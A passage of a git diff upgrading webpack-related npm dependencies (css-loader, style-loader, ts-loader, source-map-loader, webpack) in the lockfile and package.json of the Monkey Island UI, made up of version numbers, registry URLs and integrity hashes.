"source-map": "^0.6.1", - "whatwg-mimetype": "^2.3.0" + "iconv-lite": "^0.6.3", + "source-map-js": "^1.0.1" }, "engines": { - "node": ">= 10.13.0" + "node": ">= 12.13.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/webpack" }, "peerDependencies": { - "webpack": "^4.0.0 || ^5.0.0" + "webpack": "^5.0.0" } }, "node_modules/source-map-loader/node_modules/iconv-lite": { @@ -14345,31 +14309,6 @@ "node": ">=0.10.0" } }, - "node_modules/source-map-loader/node_modules/schema-utils": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz", - "integrity": "sha512-Y5PQxS4ITlC+EahLuXaY86TXfR7Dc5lw294alXOq86JAHCihAIZfqv8nNCWvaEJvaC51uN9hbLGeV0cFBdH+Fw==", - "dependencies": { - "@types/json-schema": "^7.0.8", - "ajv": "^6.12.5", - "ajv-keywords": "^3.5.2" - }, - "engines": { - "node": ">= 10.13.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/webpack" - } - }, - "node_modules/source-map-loader/node_modules/source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "engines": { - "node": ">=0.10.0" - } - }, "node_modules/source-map-support": { "version": "0.5.21", "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz", @@ -14733,55 +14672,19 @@ } }, "node_modules/style-loader": { - "version": "0.22.1", - "resolved": "https://registry.npmjs.org/style-loader/-/style-loader-0.22.1.tgz", - "integrity": "sha512-WXUrLeinPIR1Oat3PfCDro7qTniwNTJqGqv1KcQiL3JR5PzrVLTyNsd9wTsPXG/qNCJ7lzR2NY/QDjFsP7nuSQ==", + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/style-loader/-/style-loader-3.3.1.tgz", + "integrity": "sha512-GPcQ+LDJbrcxHORTRes6Jy2sfvK2kS6hpSfI/fXhPt+spVzxF6LJ1dHLN9zIGmVaaP044YKaIatFaufENRiDoQ==", "dev": true, - "dependencies": { - "loader-utils": "^1.1.0", - "schema-utils": "^0.4.5" - }, "engines": { - "node": ">= 0.12.0" - } - }, - "node_modules/style-loader/node_modules/json5": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz", - "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==", - "dev": true, - "dependencies": { - "minimist": "^1.2.0" + "node": ">= 12.13.0" }, - "bin": { - "json5": "lib/cli.js" - } - }, - "node_modules/style-loader/node_modules/loader-utils": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.4.0.tgz", - "integrity": "sha512-qH0WSMBtn/oHuwjy/NucEgbx5dbxxnxup9s4PVXJUDHZBQY+s0NWA9rJf53RBnQZxfch7euUui7hpoAPvALZdA==", - "dev": true, - "dependencies": { - "big.js": "^5.2.2", - "emojis-list": "^3.0.0", - "json5": "^1.0.1" + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" }, - "engines": { - "node": ">=4.0.0" - } - }, - "node_modules/style-loader/node_modules/schema-utils": { - "version": "0.4.7", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-0.4.7.tgz", - "integrity": "sha512-v/iwU6wvwGK8HbU9yi3/nhGzP0yGSuhQMzL6ySiec1FSrZZDkhm4noOSWzrNFo/jEc+SJY6jRTwuwbSXJPDUnQ==", - "dev": true, - "dependencies": { - "ajv": "^6.1.0", - "ajv-keywords": "^3.1.0" - }, - "engines": { - "node": ">= 4" + "peerDependencies": { + "webpack": "^5.0.0" } }, "node_modules/style-search": { @@ -15466,23 +15369,22 @@ } }, "node_modules/ts-loader": { - "version": "8.3.0", - "resolved": "https://registry.npmjs.org/ts-loader/-/ts-loader-8.3.0.tgz", - "integrity": "sha512-MgGly4I6cStsJy27ViE32UoqxPTN9Xly4anxxVyaIWR+9BGxboV4EyJBGfR3RePV7Ksjj3rHmPZJeIt+7o4Vag==", + "version": "9.2.8", + "resolved": "https://registry.npmjs.org/ts-loader/-/ts-loader-9.2.8.tgz", + "integrity": "sha512-gxSak7IHUuRtwKf3FIPSW1VpZcqF9+MBrHOvBp9cjHh+525SjtCIJKVGjRKIAfxBwDGDGCFF00rTfzB1quxdSw==", "dev": true, "dependencies": { "chalk": "^4.1.0", - "enhanced-resolve": "^4.0.0", - "loader-utils": "^2.0.0", + "enhanced-resolve": "^5.0.0", "micromatch": "^4.0.0", "semver": "^7.3.4" }, "engines": { - "node": ">=10.0.0" + "node": ">=12.0.0" }, "peerDependencies": { "typescript": "*", - "webpack": "*" + "webpack": "^5.0.0" } }, "node_modules/ts-loader/node_modules/ansi-styles": { @@ -16042,9 +15944,9 @@ } }, "node_modules/webpack": { - "version": "5.71.0", - "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.71.0.tgz", - "integrity": "sha512-g4dFT7CFG8LY0iU5G8nBL6VlkT21Z7dcYDpJAEJV5Q1WLb9UwnFbrem1k7K52ILqEmomN7pnzWFxxE6SlDY56A==", + "version": "5.72.0", + "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.72.0.tgz", + "integrity": "sha512-qmSmbspI0Qo5ld49htys8GY9XhS9CGqFoHTsOVAnjBdg0Zn79y135R+k4IR4rKK6+eKaabMhJwiVB7xw0SJu5w==", "dependencies": { "@types/eslint-scope": "^3.7.3", "@types/estree": "^0.0.51", @@ -16387,18 +16289,6 @@ "acorn": "^8" } }, - "node_modules/webpack/node_modules/enhanced-resolve": { - "version": "5.9.2", - "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.9.2.tgz", - "integrity": "sha512-GIm3fQfwLJ8YZx2smuHpBKkXC1yOk+OBEmKckVyL0i/ea8mqDEykK3ld5dgH1QYPNyT/lIllxV2LULnxCHaHkA==", - "dependencies": { - "graceful-fs": "^4.2.4", - "tapable": "^2.2.0" - }, - "engines": { - "node": ">=10.13.0" - } - }, "node_modules/webpack/node_modules/schema-utils": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz", @@ -16444,11 +16334,6 @@ "resolved": "https://registry.npmjs.org/whatwg-fetch/-/whatwg-fetch-3.6.2.tgz", "integrity": "sha512-bJlen0FcuU/0EMLrdbJ7zOnW6ITZLrZMIarMUVmdKtsGvZna8vxKYaexICWPfZ8qwf9fzNq+UEIZrnSaApt6RA==" }, - "node_modules/whatwg-mimetype": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-2.3.0.tgz", - "integrity": "sha512-M4yMwr6mAnQz76TbJm914+gPpB/nCwvZbJU28cUD6dR004SAxDLOOSUaB1JDRqLtaOV/vi0IC5lEAGFgrjGv/g==" - }, "node_modules/which": { "version": "1.3.1", "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", @@ -19753,44 +19638,94 @@ } }, "css-loader": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-3.6.0.tgz", - "integrity": "sha512-M5lSukoWi1If8dhQAUCvj4H8vUt3vOnwbQBH9DdTm/s4Ym2B/3dPMtYZeJmq7Q3S3Pa+I94DcZ7pc9bP14cWIQ==", + "version": "6.7.1", + "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-6.7.1.tgz", + "integrity": "sha512-yB5CNFa14MbPJcomwNh3wLThtkZgcNyI2bNMRt8iE5Z8Vwl7f8vQXFAzn2HDOJvtDq2NTZBUGMSUNNyrv3/+cw==", "dev": true, "requires": { - "camelcase": "^5.3.1", - "cssesc": "^3.0.0", - "icss-utils": "^4.1.1", - "loader-utils": "^1.2.3", - "normalize-path": "^3.0.0", - "postcss": "^7.0.32", - "postcss-modules-extract-imports": "^2.0.0", - "postcss-modules-local-by-default": "^3.0.2", - "postcss-modules-scope": "^2.2.0", - "postcss-modules-values": "^3.0.0", - "postcss-value-parser": "^4.1.0", - "schema-utils": "^2.7.0", - "semver": "^6.3.0" + "icss-utils": "^5.1.0", + "postcss": "^8.4.7", + "postcss-modules-extract-imports": "^3.0.0", + "postcss-modules-local-by-default": "^4.0.0", + "postcss-modules-scope": "^3.0.0", + "postcss-modules-values": "^4.0.0", + "postcss-value-parser": "^4.2.0", + "semver": "^7.3.5" }, "dependencies": { - "json5": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz", - "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==", + "icss-utils": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/icss-utils/-/icss-utils-5.1.0.tgz", + "integrity": "sha512-soFhflCVWLfRNOPU3iv5Z9VUdT44xFRbzjLsEzSr5AQmgqPMTHdU3PMT1Cf1ssx8fLNJDA1juftYl+PUcv3MqA==", + "dev": true, + "requires": {} + }, + "lru-cache": { + "version": "7.8.1", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-7.8.1.tgz", + "integrity": "sha512-E1v547OCgJvbvevfjgK9sNKIVXO96NnsTsFPBlg4ZxjhsJSODoH9lk8Bm0OxvHNm6Vm5Yqkl/1fErDxhYL8Skg==", + "dev": true + }, + "nanoid": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.2.tgz", + "integrity": "sha512-CuHBogktKwpm5g2sRgv83jEy2ijFzBwMoYA60orPDR7ynsLijJDqgsi4RDGj3OJpy3Ieb+LYwiRmIOGyytgITA==", + "dev": true + }, + "postcss": { + "version": "8.4.12", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.12.tgz", + "integrity": "sha512-lg6eITwYe9v6Hr5CncVbK70SoioNQIq81nsaG86ev5hAidQvmOeETBqs7jm43K2F5/Ley3ytDtriImV6TpNiSg==", "dev": true, "requires": { - "minimist": "^1.2.0" + "nanoid": "^3.3.1", + "picocolors": "^1.0.0", + "source-map-js": "^1.0.2" } }, - "loader-utils": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.4.0.tgz", - "integrity": "sha512-qH0WSMBtn/oHuwjy/NucEgbx5dbxxnxup9s4PVXJUDHZBQY+s0NWA9rJf53RBnQZxfch7euUui7hpoAPvALZdA==", + "postcss-modules-extract-imports": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-extract-imports/-/postcss-modules-extract-imports-3.0.0.tgz", + "integrity": "sha512-bdHleFnP3kZ4NYDhuGlVK+CMrQ/pqUm8bx/oGL93K6gVwiclvX5x0n76fYMKuIGKzlABOy13zsvqjb0f92TEXw==", + "dev": true, + "requires": {} + }, + "postcss-modules-local-by-default": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-4.0.0.tgz", + "integrity": "sha512-sT7ihtmGSF9yhm6ggikHdV0hlziDTX7oFoXtuVWeDd3hHObNkcHRo9V3yg7vCAY7cONyxJC/XXCmmiHHcvX7bQ==", "dev": true, "requires": { - "big.js": "^5.2.2", - "emojis-list": "^3.0.0", - "json5": "^1.0.1" + "icss-utils": "^5.0.0", + "postcss-selector-parser": "^6.0.2", + "postcss-value-parser": "^4.1.0" + } + }, + "postcss-modules-scope": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-scope/-/postcss-modules-scope-3.0.0.tgz", + "integrity": "sha512-hncihwFA2yPath8oZ15PZqvWGkWf+XUfQgUGamS4LqoP1anQLOsOJw0vr7J7IwLpoY9fatA2qiGUGmuZL0Iqlg==", + "dev": true, + "requires": { + "postcss-selector-parser": "^6.0.4" + } + }, + "postcss-modules-values": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-values/-/postcss-modules-values-4.0.0.tgz", + "integrity": "sha512-RDxHkAiEGI78gS2ofyvCsu7iycRv7oqw5xMWn9iMoR0N/7mf9D50ecQqUo5BZ9Zh2vH4bCUR/ktCqbB9m8vJjQ==", + "dev": true, + "requires": { + "icss-utils": "^5.0.0" + } + }, + "semver": { + "version": "7.3.6", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.6.tgz", + "integrity": "sha512-HZWqcgwLsjaX1HBD31msI/rXktuIhS+lWvdE4kN9z+8IVT4Itc7vqU2WvYsyD6/sjYCt4dEKH/m1M3dwI9CC5w==", + "dev": true, + "requires": { + "lru-cache": "^7.4.0" } } } @@ -20454,22 +20389,12 @@ } }, "enhanced-resolve": { - "version": "4.5.0", - "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-4.5.0.tgz", - "integrity": "sha512-Nv9m36S/vxpsI+Hc4/ZGRs0n9mXqSWGGq49zxb/cJfPAQMbUtttJAlNPS4AQzaBdw/pKskw5bMbekT/Y7W/Wlg==", - "dev": true, + "version": "5.9.2", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.9.2.tgz", + "integrity": "sha512-GIm3fQfwLJ8YZx2smuHpBKkXC1yOk+OBEmKckVyL0i/ea8mqDEykK3ld5dgH1QYPNyT/lIllxV2LULnxCHaHkA==", "requires": { - "graceful-fs": "^4.1.2", - "memory-fs": "^0.5.0", - "tapable": "^1.0.0" - }, - "dependencies": { - "tapable": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/tapable/-/tapable-1.1.3.tgz", - "integrity": "sha512-4WK/bYZmj8xLr+HUCODHGF1ZFzsYffasLUgEiMBY4fgtltdO6B4WJtlSbPaDTLpYTcGVwM2qLnFTICEcNxs3kA==", - "dev": true - } + "graceful-fs": "^4.2.4", + "tapable": "^2.2.0" } }, "entities": { @@ -20484,15 +20409,6 @@ "integrity": "sha512-/o+BXHmB7ocbHEAs6F2EnG0ogybVVUdkRunTT2glZU9XAaGmhqskrvKwqXuDfNjEO0LZKWdejEEpnq8aM0tOaw==", "dev": true }, - "errno": { - "version": "0.1.8", - "resolved": "https://registry.npmjs.org/errno/-/errno-0.1.8.tgz", - "integrity": "sha512-dJ6oBr5SQ1VSd9qkk7ByRgb/1SH4JZjCHSW/mr63/QcXO9zLVxvJ6Oy13nio03rxpSnVDDjFor75SjVeZWPW/A==", - "dev": true, - "requires": { - "prr": "~1.0.1" - } - }, "error-ex": { "version": "1.3.2", "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz", @@ -21922,15 +21838,6 @@ "safer-buffer": ">= 2.1.2 < 3" } }, - "icss-utils": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/icss-utils/-/icss-utils-4.1.1.tgz", - "integrity": "sha512-4aFq7wvWyMHKgxsH8QQtGpvbASCf+eM3wPRLI6R+MgAnTCZ6STYsRvttLvRWK0Nfif5piF394St3HeJDaljGPA==", - "dev": true, - "requires": { - "postcss": "^7.0.14" - } - }, "ieee754": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", @@ -22554,7 +22461,8 @@ "json5": { "version": "2.2.1", "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.1.tgz", - "integrity": "sha512-1hqLFMSrGHRHxav9q9gNjJ5EXznIxGVO09xQRrwplcS8qs28pZ8s8hupZAmqDwZUmVZ2Qb2jnyPOWcDH8m8dlA==" + "integrity": "sha512-1hqLFMSrGHRHxav9q9gNjJ5EXznIxGVO09xQRrwplcS8qs28pZ8s8hupZAmqDwZUmVZ2Qb2jnyPOWcDH8m8dlA==", + "dev": true }, "jsonfile": { "version": "4.0.0", @@ -22713,6 +22621,7 @@ "version": "2.0.2", "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-2.0.2.tgz", "integrity": "sha512-TM57VeHptv569d/GKh6TAYdzKblwDNiumOdkFnejjD0XwTH87K90w3O7AiJRqdQoXygvi1VQTJTLGhJl7WqA7A==", + "dev": true, "requires": { "big.js": "^5.2.2", "emojis-list": "^3.0.0", @@ -22982,48 +22891,6 @@ "fs-monkey": "1.0.3" } }, - "memory-fs": { - "version": "0.5.0", - "resolved": "https://registry.npmjs.org/memory-fs/-/memory-fs-0.5.0.tgz", - "integrity": "sha512-jA0rdU5KoQMC0e6ppoNRtpp6vjFq6+NY7r8hywnC7V+1Xj/MtHwGIbB1QaK/dunyjWteJzmkpd7ooeWg10T7GA==", - "dev": true, - "requires": { - "errno": "^0.1.3", - "readable-stream": "^2.0.1" - }, - "dependencies": { - "isarray": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", - "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", - "dev": true - }, - "readable-stream": { - "version": "2.3.7", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", - "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", - "dev": true, - "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" - } - }, - "string_decoder": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", - "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", - "dev": true, - "requires": { - "safe-buffer": "~5.1.0" - } - } - } - }, "meow": { "version": "9.0.0", "resolved": "https://registry.npmjs.org/meow/-/meow-9.0.0.tgz", @@ -26010,47 +25877,6 @@ "integrity": "sha1-J7Ocb02U+Bsac7j3Y1HGCeXO8kQ=", "dev": true }, - "postcss-modules-extract-imports": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/postcss-modules-extract-imports/-/postcss-modules-extract-imports-2.0.0.tgz", - "integrity": "sha512-LaYLDNS4SG8Q5WAWqIJgdHPJrDDr/Lv775rMBFUbgjTz6j34lUznACHcdRWroPvXANP2Vj7yNK57vp9eFqzLWQ==", - "dev": true, - "requires": { - "postcss": "^7.0.5" - } - }, - "postcss-modules-local-by-default": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-3.0.3.tgz", - "integrity": "sha512-e3xDq+LotiGesympRlKNgaJ0PCzoUIdpH0dj47iWAui/kyTgh3CiAr1qP54uodmJhl6p9rN6BoNcdEDVJx9RDw==", - "dev": true, - "requires": { - "icss-utils": "^4.1.1", - "postcss": "^7.0.32", - "postcss-selector-parser": "^6.0.2", - "postcss-value-parser": "^4.1.0" - } - }, - "postcss-modules-scope": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/postcss-modules-scope/-/postcss-modules-scope-2.2.0.tgz", - "integrity": "sha512-YyEgsTMRpNd+HmyC7H/mh3y+MeFWevy7V1evVhJWewmMbjDHIbZbOXICC2y+m1xI1UVfIT1HMW/O04Hxyu9oXQ==", - "dev": true, - "requires": { - "postcss": "^7.0.6", - "postcss-selector-parser": "^6.0.0" - } - }, - "postcss-modules-values": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/postcss-modules-values/-/postcss-modules-values-3.0.0.tgz", - "integrity": "sha512-1//E5jCBrZ9DmRX+zCtmQtRSV6PV42Ix7Bzj9GbwJceduuf7IqP8MgeTXuRDHOWj2m0VzZD5+roFWDuU8RQjcg==", - "dev": true, - "requires": { - "icss-utils": "^4.0.0", - "postcss": "^7.0.6" - } - }, "postcss-resolve-nested-selector": { "version": "0.1.1", "resolved": "https://registry.npmjs.org/postcss-resolve-nested-selector/-/postcss-resolve-nested-selector-0.1.1.tgz", @@ -26244,12 +26070,6 @@ } } }, - "prr": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/prr/-/prr-1.0.1.tgz", - "integrity": "sha1-0/wRS6BplaRexok/SEzrHXj19HY=", - "dev": true - }, "psl": { "version": "1.8.0", "resolved": "https://registry.npmjs.org/psl/-/psl-1.8.0.tgz", @@ -27442,20 +27262,16 @@ "source-map-js": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.0.2.tgz", - "integrity": "sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==", - "dev": true + "integrity": "sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==" }, "source-map-loader": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/source-map-loader/-/source-map-loader-1.1.3.tgz", - "integrity": "sha512-6YHeF+XzDOrT/ycFJNI53cgEsp/tHTMl37hi7uVyqFAlTXW109JazaQCkbc+jjoL2637qkH1amLi+JzrIpt5lA==", + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/source-map-loader/-/source-map-loader-3.0.1.tgz", + "integrity": "sha512-Vp1UsfyPvgujKQzi4pyDiTOnE3E4H+yHvkVRN3c/9PJmQS4CQJExvcDvaX/D+RV+xQben9HJ56jMJS3CgUeWyA==", "requires": { "abab": "^2.0.5", - "iconv-lite": "^0.6.2", - "loader-utils": "^2.0.0", - "schema-utils": "^3.0.0", - "source-map": "^0.6.1", - "whatwg-mimetype": "^2.3.0" + "iconv-lite": "^0.6.3", + "source-map-js": "^1.0.1" }, "dependencies": { "iconv-lite": { @@ -27465,21 +27281,6 @@ "requires": { "safer-buffer": ">= 2.1.2 < 3.0.0" } - }, - "schema-utils": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz", - "integrity": "sha512-Y5PQxS4ITlC+EahLuXaY86TXfR7Dc5lw294alXOq86JAHCihAIZfqv8nNCWvaEJvaC51uN9hbLGeV0cFBdH+Fw==", - "requires": { - "@types/json-schema": "^7.0.8", - "ajv": "^6.12.5", - "ajv-keywords": "^3.5.2" - } - }, - "source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==" } } }, @@ -27767,46 +27568,11 @@ "dev": true }, "style-loader": { - "version": "0.22.1", - "resolved": "https://registry.npmjs.org/style-loader/-/style-loader-0.22.1.tgz", - "integrity": "sha512-WXUrLeinPIR1Oat3PfCDro7qTniwNTJqGqv1KcQiL3JR5PzrVLTyNsd9wTsPXG/qNCJ7lzR2NY/QDjFsP7nuSQ==", + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/style-loader/-/style-loader-3.3.1.tgz", + "integrity": "sha512-GPcQ+LDJbrcxHORTRes6Jy2sfvK2kS6hpSfI/fXhPt+spVzxF6LJ1dHLN9zIGmVaaP044YKaIatFaufENRiDoQ==", "dev": true, - "requires": { - "loader-utils": "^1.1.0", - "schema-utils": "^0.4.5" - }, - "dependencies": { - "json5": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz", - "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==", - "dev": true, - "requires": { - "minimist": "^1.2.0" - } - }, - "loader-utils": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.4.0.tgz", - "integrity": "sha512-qH0WSMBtn/oHuwjy/NucEgbx5dbxxnxup9s4PVXJUDHZBQY+s0NWA9rJf53RBnQZxfch7euUui7hpoAPvALZdA==", - "dev": true, - "requires": { - "big.js": "^5.2.2", - "emojis-list": "^3.0.0", - "json5": "^1.0.1" - } - }, - "schema-utils": { - "version": "0.4.7", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-0.4.7.tgz", - "integrity": "sha512-v/iwU6wvwGK8HbU9yi3/nhGzP0yGSuhQMzL6ySiec1FSrZZDkhm4noOSWzrNFo/jEc+SJY6jRTwuwbSXJPDUnQ==", - "dev": true, - "requires": { - "ajv": "^6.1.0", - "ajv-keywords": "^3.1.0" - } - } - } + "requires": {} }, "style-search": { "version": "0.1.0", @@ -28325,14 +28091,13 @@ "dev": true }, "ts-loader": { - "version": "8.3.0", - "resolved": "https://registry.npmjs.org/ts-loader/-/ts-loader-8.3.0.tgz", - "integrity": "sha512-MgGly4I6cStsJy27ViE32UoqxPTN9Xly4anxxVyaIWR+9BGxboV4EyJBGfR3RePV7Ksjj3rHmPZJeIt+7o4Vag==", + "version": "9.2.8", + "resolved": "https://registry.npmjs.org/ts-loader/-/ts-loader-9.2.8.tgz", + "integrity": "sha512-gxSak7IHUuRtwKf3FIPSW1VpZcqF9+MBrHOvBp9cjHh+525SjtCIJKVGjRKIAfxBwDGDGCFF00rTfzB1quxdSw==", "dev": true, "requires": { "chalk": "^4.1.0", - "enhanced-resolve": "^4.0.0", - "loader-utils": "^2.0.0", + "enhanced-resolve": "^5.0.0", "micromatch": "^4.0.0", "semver": "^7.3.4" }, @@ -28724,9 +28489,9 @@ } }, "webpack": { - "version": "5.71.0", - "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.71.0.tgz", - "integrity": "sha512-g4dFT7CFG8LY0iU5G8nBL6VlkT21Z7dcYDpJAEJV5Q1WLb9UwnFbrem1k7K52ILqEmomN7pnzWFxxE6SlDY56A==", + "version": "5.72.0", + "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.72.0.tgz", + "integrity": "sha512-qmSmbspI0Qo5ld49htys8GY9XhS9CGqFoHTsOVAnjBdg0Zn79y135R+k4IR4rKK6+eKaabMhJwiVB7xw0SJu5w==", "requires": { "@types/eslint-scope": "^3.7.3", "@types/estree": "^0.0.51", @@ -28765,15 +28530,6 @@ "integrity": "sha512-m7VZ3jwz4eK6A4Vtt8Ew1/mNbP24u0FhdyfA7fSvnJR6LMdfOYnmuIrrJAgrYfYJ10F/otaHTtrtrtmHdMNzEw==", "requires": {} }, - "enhanced-resolve": { - "version": "5.9.2", - "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.9.2.tgz", - "integrity": "sha512-GIm3fQfwLJ8YZx2smuHpBKkXC1yOk+OBEmKckVyL0i/ea8mqDEykK3ld5dgH1QYPNyT/lIllxV2LULnxCHaHkA==", - "requires": { - "graceful-fs": "^4.2.4", - "tapable": "^2.2.0" - } - }, "schema-utils": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz", @@ -28999,11 +28755,6 @@ "resolved": "https://registry.npmjs.org/whatwg-fetch/-/whatwg-fetch-3.6.2.tgz", "integrity": "sha512-bJlen0FcuU/0EMLrdbJ7zOnW6ITZLrZMIarMUVmdKtsGvZna8vxKYaexICWPfZ8qwf9fzNq+UEIZrnSaApt6RA==" }, - "whatwg-mimetype": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-2.3.0.tgz", - "integrity": "sha512-M4yMwr6mAnQz76TbJm914+gPpB/nCwvZbJU28cUD6dR004SAxDLOOSUaB1JDRqLtaOV/vi0IC5lEAGFgrjGv/g==" - }, "which": { "version": "1.3.1", "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index 9d91b3010..618208bb7 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -37,16 +37,16 @@ "@types/react": "^16.14.16", "@types/react-dom": "^16.9.14", "babel-eslint": "^10.1.0", - "babel-loader": "^8.2.1", + "babel-loader": "^8.2.4", "copyfiles": "^2.4.0", - "css-loader": "^3.6.0", + "css-loader": "^6.7.1", "eslint": "^6.8.0", "eslint-loader": "^4.0.1", "eslint-plugin-react": "^7.26.1", "fork-ts-checker-webpack-plugin": "^7.2.4", "glob": "^7.2.0", "html-loader": "^0.5.5", - "html-webpack-plugin": "^5.3.2", + "html-webpack-plugin": "^5.5.0", "minimist": "^1.2.6", "npm": "^7.24.2", "null-loader": "^0.1.1", @@ -54,13 +54,13 @@ "sass": "^1.42.1", "sass-loader": "^12.6.0", "speed-measure-webpack-plugin": "^1.5.0", - "style-loader": "^0.22.1", + "style-loader": "^3.3.1", "stylelint": "^13.13.1", "thread-loader": "^3.0.4", - "ts-loader": "^8.3.0", + "ts-loader": "^9.2.8", "typescript": "^4.4.3", - "webpack": "^5.58.0", - "webpack-cli": "^4.9.0", + "webpack": "^5.72.0", + "webpack-cli": "^4.9.2", "webpack-dev-server": "^4.3.1" }, "dependencies": { @@ -111,7 +111,7 @@ "react-tsparticles": "^1.42.4", "redux": "^4.1.1", "sha3": "^2.1.4", - "source-map-loader": "^1.1.2", + "source-map-loader": "^3.0.1", "tsparticles": "^1.35.4" }, "snyk": true From 27d47c05c4cc628bbafa868d7981660ad85eb087 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 12 Apr 2022 14:43:15 +0200 Subject: [PATCH 1085/1110] Build: Run 